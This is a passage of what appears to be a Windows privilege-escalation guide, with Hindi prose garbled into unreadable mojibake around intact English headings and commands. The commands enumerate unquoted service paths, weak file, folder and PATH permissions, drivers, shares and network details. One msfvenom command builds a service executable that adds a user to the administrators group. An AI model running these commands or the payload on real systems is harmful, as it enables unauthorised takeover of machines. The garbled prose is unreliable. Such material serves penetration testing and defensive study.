рдпрджрд┐ рдХрд┐рд╕реА рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдкрде рдЙрджреНрдзрд░рдг рдЪрд┐рд╣реНрдиреЛрдВ рдХреЗ рдЕрдВрджрд░ рдирд╣реАрдВ рд╣реИ, рддреЛ Windows рд╣рд░ рд╕реНрдкреЗрд╕ рд╕реЗ рдкрд╣рд▓реЗ рд╕рдорд╛рдкреНрдд рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧрд╛ред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкрде C:\Program Files\Some Folder\Service.exe рдХреЗ рд▓рд┐рдП Windows рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧрд╛:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ рд╕рднреА рдЕрдирдЙрджреНрдзреГрдд рд╕реЗрд╡рд╛ рдкрде, рдЬреЛ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд Windows рд╕реЗрд╡рд╛рдУрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдирд╣реАрдВ рд╣реИрдВ:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services

#Other way
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

рдЖрдк рдЗрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕рдХрд╛ рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ metasploit рдХреЗ рд╕рд╛рде: exploit/windows/local/trusted\_service\_path рдЖрдк рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдПрдХ рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ metasploit рдХреЗ рд╕рд╛рде:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Recovery Actions

Windows рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдпрд╣ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ рдпрджрд┐ рдХреЛрдИ рд╕реЗрд╡рд╛ рд╡рд┐рдлрд▓ рд╣реЛрддреА рд╣реИ рддреЛ рдХреНрдпрд╛ рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдПред рдЗрд╕ рд╕реБрд╡рд┐рдзрд╛ рдХреЛ рдПрдХ рдмрд╛рдЗрдирд░реА рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрджрд┐ рдпрд╣ рдмрд╛рдЗрдирд░реА рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрдиреАрдп рд╣реИ, рддреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХрддреА рд╣реИред рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

Applications

Installed Applications

рдмрд╛рдЗрдирд░реА рдХреЗ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ (рд╢рд╛рдпрдж рдЖрдк рдПрдХ рдХреЛ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВ) рдФрд░ рдлреЛрд▓реНрдбрд░реЛрдВ (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Write Permissions

рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рдХреЙрдиреНрдлрд╝рд┐рдЧ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдкрдврд╝ рд╕рдХреЗрдВ рдпрд╛ рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рдмрд╛рдЗрдирд░реА рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЦрд╛рддреЗ (schedtasks) рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рдЬрд╛ рд░рд╣реА рд╣реИред

рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдХрдордЬреЛрд░ рдлрд╝реЛрд▓реНрдбрд░/рдлрд╝рд╛рдЗрд▓ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рд╣реИ:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

рд╕реНрдЯрд╛рд░реНрдЯрдЕрдк рдкрд░ рдЪрд▓рд╛рдПрдБ

рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдпрд╛ рдмрд╛рдЗрдирд░реА рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рд╡рд╛рд▓реА рд╣реИред рдЕрдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рджрд┐рд▓рдЪрд╕реНрдк autoruns рд╕реНрдерд╛рдиреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдкрдврд╝реЗрдВ:

Privilege Escalation with Autoruns

рдбреНрд░рд╛рдЗрд╡рд░

рд╕рдВрднрд╛рд╡рд┐рдд рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреЗ рдЕрдЬреАрдм/рдХрдордЬреЛрд░ рдбреНрд░рд╛рдЗрд╡рд░реЛрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВ

driverquery
driverquery.exe /fo table
driverquery /SI

PATH DLL Hijacking

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ PATH рдкрд░ рдореМрдЬреВрдж рдПрдХ рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ рддреЛ рдЖрдк рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рджреНрд╡рд╛рд░рд╛ рд▓реЛрдб рдХреА рдЧрдИ DLL рдХреЛ рд╣рд╛рдИрдЬреИрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВред

PATH рдХреЗ рдЕрдВрджрд░ рд╕рднреА рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдХрд┐ рдЗрд╕ рдЪреЗрдХ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░реЗрдВ:

Writable Sys Path +Dll Hijacking Privesc

рдиреЗрдЯрд╡рд░реНрдХ

рд╢реЗрдпрд░

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

hosts рдлрд╝рд╛рдЗрд▓ рдкрд░ рд╣рд╛рд░реНрдбрдХреЛрдбреЗрдб рдЕрдиреНрдп рдЬреНрдЮрд╛рдд рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ

type C:\Windows\System32\drivers\etc\hosts

рдиреЗрдЯрд╡рд░реНрдХ рдЗрдВрдЯрд░рдлреЗрд╕ рдФрд░ DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Open Ports

рдмрд╛рд╣рд░ рд╕реЗ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рд╕реЗрд╡рд╛рдУрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ

netstat -ano #Opened ports?

рд░реВрдЯрд┐рдВрдЧ рддрд╛рд▓рд┐рдХрд╛

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP рддрд╛рд▓рд┐рдХрд╛

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдирд┐рдпрдо

рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдХрдорд╛рдВрдб рдХреЗ рд▓рд┐рдП рдЗрд╕ рдкреГрд╖реНрда рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ (рдирд┐рдпрдореЛрдВ рдХреА рд╕реВрдЪреА, рдирд┐рдпрдо рдмрдирд╛рдирд╛, рдмрдВрдж рдХрд░рдирд╛, рдмрдВрдж рдХрд░рдирд╛...)

рдпрд╣рд╛рдБ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдПрдиреНрдпреВрдорд░реЗрд╢рди рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб

рд╡рд┐рдВрдбреЛрдЬрд╝ рд╕рдмрд╕рд┐рд╕реНрдЯрдо рдлреЙрд░ рд▓рд┐рдирдХреНрд╕ (wsl)

C:\Windows\System32\bash.exe